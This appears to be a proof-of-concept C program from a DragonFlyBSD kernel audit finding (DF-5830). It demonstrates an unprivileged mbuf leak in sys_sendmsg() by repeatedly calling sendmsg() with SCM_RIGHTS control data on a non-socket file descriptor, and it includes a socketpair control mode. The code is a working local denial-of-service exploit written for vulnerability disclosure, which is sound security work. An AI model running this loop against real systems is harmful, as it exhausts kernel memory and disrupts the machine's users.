⬢ DragonFlyBSD Kernel Audit
DF-5830 / leaksendmsg.c
← back to finding ↓ download raw
/*
 * DF-5830 — sys_sendmsg() MT_CONTROL mbuf leak on non-socket fd
 *
 * sys/kern/uipc_syscalls.c sys_sendmsg():
 *   control = m_get(M_WAITOK, MT_CONTROL);         (line 940)
 *   ... copyin ...                                 (line 942)
 *   error = kern_sendmsg(uap->s, sa, &auio, control, ...);  (line 950)
 *
 * kern_sendmsg():
 *   error = holdsock(td, s, &fp);
 *   if (error)
 *       return (error);        <-- (uipc_syscalls.c:799-801)
 *
 * When `s` is not a socket (ENOTSOCK) or a bad fd (EBADF), kern_sendmsg
 * returns BEFORE any consumer takes ownership of `control`.  sys_sendmsg's
 * cleanup path frees `iov` and `sa` but never `control`:
 *   cleanup:
 *       iovec_free(&iov, aiov);
 *   cleanup2:
 *       if (sa) kfree(sa, M_SONAME);
 *       return (error);
 *
 * => one permanently-leaked 256-byte mbuf per syscall, unprivileged,
 *    unbounded, never reclaimed (mbuf zone objects with no references).
 *
 * usage: leaksendmsg <iters> [control-check]
 *   default: hammer sendmsg() on a regular-file fd -> leak
 *   arg2 "ok": sendmsg() on a real AF_UNIX socketpair -> no leak (control)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	long iters = (argc > 1) ? atol(argv[1]) : 100000;
	int control_check = (argc > 2 && !strcmp(argv[2], "ok"));
	int badfd, goodfd[2], s;
	struct msghdr msg;
	struct iovec iov;
	char cbuf[CMSG_SPACE(sizeof(int)) * 4];
	char data[4] = "junk";
	struct cmsghdr *cm;
	long i;
	int rc;

	badfd = open("/etc/passwd", O_RDONLY);		/* DTYPE_VNODE */
	if (badfd < 0) { perror("open"); return 1; }
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, goodfd) < 0) {
		perror("socketpair");
		return 1;
	}

	/* build a valid-looking SCM_RIGHTS ancillary message */
	memset(cbuf, 0, sizeof(cbuf));
	cm = (struct cmsghdr *)cbuf;
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = SCM_RIGHTS;
	cm->cmsg_len = CMSG_LEN(sizeof(int));
	*(int *)CMSG_DATA(cm) = badfd;	/* fd we "pass" */

	iov.iov_base = data;
	iov.iov_len = sizeof(data);
	memset(&msg, 0, sizeof(msg));
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cbuf;
	msg.msg_controllen = CMSG_LEN(sizeof(int));

	s = control_check ? goodfd[0] : badfd;

	for (i = 0; i < iters; i++) {
		rc = sendmsg(s, &msg, 0);
		if (control_check) {
			if (rc < 0) {
				fprintf(stderr, "iter %ld: errno %d (%s)\n",
					i, errno, strerror(errno));
				return 1;
			}
			/* drain the peer so the socket never backpressures */
			recv(goodfd[1], data, sizeof(data), MSG_DONTWAIT);
		} else {
			if (rc >= 0) {
				fprintf(stderr, "iter %ld: unexpected success\n", i);
				return 1;
			}
			if (errno != ENOTSOCK) {
				fprintf(stderr, "iter %ld: unexpected errno %d (%s)\n",
					i, errno, strerror(errno));
				return 1;
			}
		}
	}
	printf("OK: %ld sendmsg calls on %s (%s)\n", iters,
	       control_check ? "AF_UNIX socketpair" : "regular-file fd",
	       control_check ? "control consumed" : "all ENOTSOCK");
	return 0;
}